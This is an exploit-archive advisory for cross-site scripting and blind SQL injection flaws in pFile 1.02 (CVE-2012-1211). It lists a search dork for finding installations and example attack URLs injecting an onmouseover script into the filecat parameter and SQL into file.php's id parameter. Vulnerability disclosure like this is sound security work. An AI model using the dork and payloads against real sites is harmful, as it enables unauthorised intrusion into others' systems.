Pfile 1.02 Cross Site Scripting / SQL Injection

2012-02-12 / 2012-03-03
Credit: indoushka
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2012-1211
CWE: CWE-89
CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

=============================== pfile_1.02 Mullti Vulnerability =============================== # Vendor: http://www.powie.de/wp-content/uploads/pfile_1.02.zip # Date: 2012-1-27 # Author : indoushka ######################################################## # Exploit By indoushka ------------- dork : pFile 1.02 Thomas Schmidt, 2003 -- Thomas Ehrhardt, 2002-2011 -- blind SQL : http://www.eweadv-ssqqwh.de/pfile/file.php?eintrag=0&filecat=0&id=%24%7binjecthere%7d (XSS/HTML Injection) http://www.eassdv-ssdash.de/pfile/kommentar.php?filecat=%22%20onmouseover%3dprompt%28906466%29%20bad%3d%22&fileid=1 SQL injection http://www.efxdwqv-xzassh.de/pfile/file.php?eintrag=0&filecat=0&id=%24{injecthere} ----------------------------------------------------------

References:

http://www.powie.de/wp-content/uploads/pfile_1.02.zip


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top